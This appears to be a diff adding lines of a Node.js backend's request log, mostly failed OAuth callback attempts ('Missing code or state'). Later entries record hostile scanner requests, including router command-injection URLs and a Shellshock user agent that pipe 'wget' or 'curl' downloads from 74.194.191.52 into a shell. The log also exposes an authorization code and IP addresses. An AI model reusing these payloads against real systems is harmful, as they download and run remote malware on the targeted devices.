'/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '78.241.54.161', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T22:24:53.744Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758666293744_bdkgxw6a2' +} +❌ [ERROR] 2025-09-23T22:24:53.745Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758666293744_bdkgxw6a2', + response: { + statusCode: 400 + } +} +ℹ️ [INFO] 2025-09-23T22:25:19.319Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758666319318_rnw41u0vc', + response: { + statusCode: 200 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '78.241.54.161', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T22:33:22.802Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758666802801_tifikoznn' +} +❌ [ERROR] 2025-09-23T22:33:22.803Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758666802801_tifikoznn', + response: { + statusCode: 400 + } +} +ℹ️ [INFO] 2025-09-23T22:44:00.211Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758667440210_3ayzj3t14', + response: { + statusCode: 200 + } +} +ℹ️ [INFO] 2025-09-23T22:44:36.100Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758667476098_dj91cwutq', + response: { + statusCode: 200 + } +} +ℹ️ [INFO] 2025-09-23T23:14:11.700Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758669251699_xxf2acjpt', + response: { + statusCode: 200 + } +} +❌ [ERROR] 2025-09-23T23:20:22.742Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758669622742_yp93jrtzq', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T23:40:06.538Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:20.65.194.99', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 zgrab/0.x' + }, + requestId: 'req_1758670806538_s8phsjknd', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T23:54:20.898Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.135.193.100', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758671660898_56efdeimi', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '78.241.54.161', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-24T00:06:03.355Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758672363354_5rqgbzemn' +} +❌ [ERROR] 2025-09-24T00:06:03.356Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758672363354_5rqgbzemn', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '78.241.54.161', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-24T00:13:12.548Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758672792547_zhy26ed7v' +} +❌ [ERROR] 2025-09-24T00:13:12.549Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758672792547_zhy26ed7v', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-24T00:15:16.012Z HTTP HEAD /api/v1/idnot/state - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'HEAD', + url: '/api/v1/idnot/state', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758672916011_c7nqh2ylk', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T00:21:00.522Z HTTP POST /tmUnblock.cgi - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.88.186.32', + method: 'POST', + url: '/tmUnblock.cgi', + userAgent: 'Mozilla/5.0' + }, + requestId: 'req_1758673260521_05a6rxtvd', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T00:21:00.628Z HTTP POST /goform/set_LimitClient_cfg - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.88.186.32', + method: 'POST', + url: '/goform/set_LimitClient_cfg', + userAgent: 'Mozilla/5.0' + }, + requestId: 'req_1758673260627_c0kcy65ue', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T00:21:00.847Z HTTP GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.ush.sh%7Csh%26&curpath=%2F¤tsetting.htm=1 - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.88.186.32', + method: 'GET', + url: '/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.ush.sh%7Csh%26&curpath=%2F¤tsetting.htm=1', + userAgent: 'Mozilla/5.0' + }, + requestId: 'req_1758673260846_d606utzac', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T00:21:00.954Z HTTP GET /cgi-bin/;wget${IFS}-qO-${IFS}http://74.194.191.52/rondo.sbx.sh|sh&echo${IFS} - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 4, + request: { + ip: '::ffff:45.88.186.32', + method: 'GET', + url: '/cgi-bin/;wget${IFS}-qO-${IFS}http://74.194.191.52/rondo.sbx.sh|sh&echo${IFS}', + userAgent: 'Mozilla/5.0' + }, + requestId: 'req_1758673260950_yic20qthn', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T00:21:01.060Z HTTP POST /apply_sec.cgi - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.88.186.32', + method: 'POST', + url: '/apply_sec.cgi', + userAgent: 'Mozilla/5.0' + }, + requestId: 'req_1758673261059_i0tq8luc2', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T00:21:01.271Z HTTP GET /goform/setUsbUnload/.js?deviceName=A%3Bbusybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.uzz.sh%7Csh%26echo%20 - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.88.186.32', + method: 'GET', + url: '/goform/setUsbUnload/.js?deviceName=A%3Bbusybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.uzz.sh%7Csh%26echo%20', + userAgent: 'Mozilla/5.0' + }, + requestId: 'req_1758673261271_y45puzwmh', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T00:21:01.381Z HTTP POST /goform/setPingInfo - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.88.186.32', + method: 'POST', + url: '/goform/setPingInfo', + userAgent: 'Mozilla/5.0' + }, + requestId: 'req_1758673261379_5pfuszy7j', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T00:21:01.487Z HTTP POST /cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4= - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.88.186.32', + method: 'POST', + url: '/cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4=', + userAgent: 'Mozilla/5.0' + }, + requestId: 'req_1758673261486_atrgn8cwe', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T00:21:01.703Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.88.186.32', + method: 'GET', + url: '/', + userAgent: '() { :; }; /bin/bash -c "(wget -qO- http://74.194.191.52/rondo.qre.sh||busybox wget -qO- http://74.194.191.52/rondo.qre.sh||curl -s http://74.194.191.52/rondo.qre.sh)|sh"& #Mozilla/5.0' + }, + requestId: 'req_1758673261702_bb15yhn40', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T00:21:01.812Z HTTP GET /HNAP1/ - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.88.186.32', + method: 'GET', + url: '/HNAP1/', + userAgent: 'Mozilla/5.0' + }, + requestId: 'req_1758673261811_ro2k2dt7i', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T00:21:01.919Z HTTP POST /goform/SystemCommand - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.88.186.32', + method: 'POST', + url: '/goform/SystemCommand', + userAgent: 'Mozilla/5.0' + }, + requestId: 'req_1758673261918_6tsxmjzqu', + response: { + statusCode: 404 + } +} +ℹ️ [INFO] 2025-09-24T00:23:03.761Z HTTP HEAD /health - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 3, + request: { + ip: '::ffff:127.0.0.1', + method: 'HEAD', + url: '/health', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758673383758_5pu41s8l6', + response: { + statusCode: 200 + } +} +ℹ️ [INFO] 2025-09-24T00:23:11.385Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: 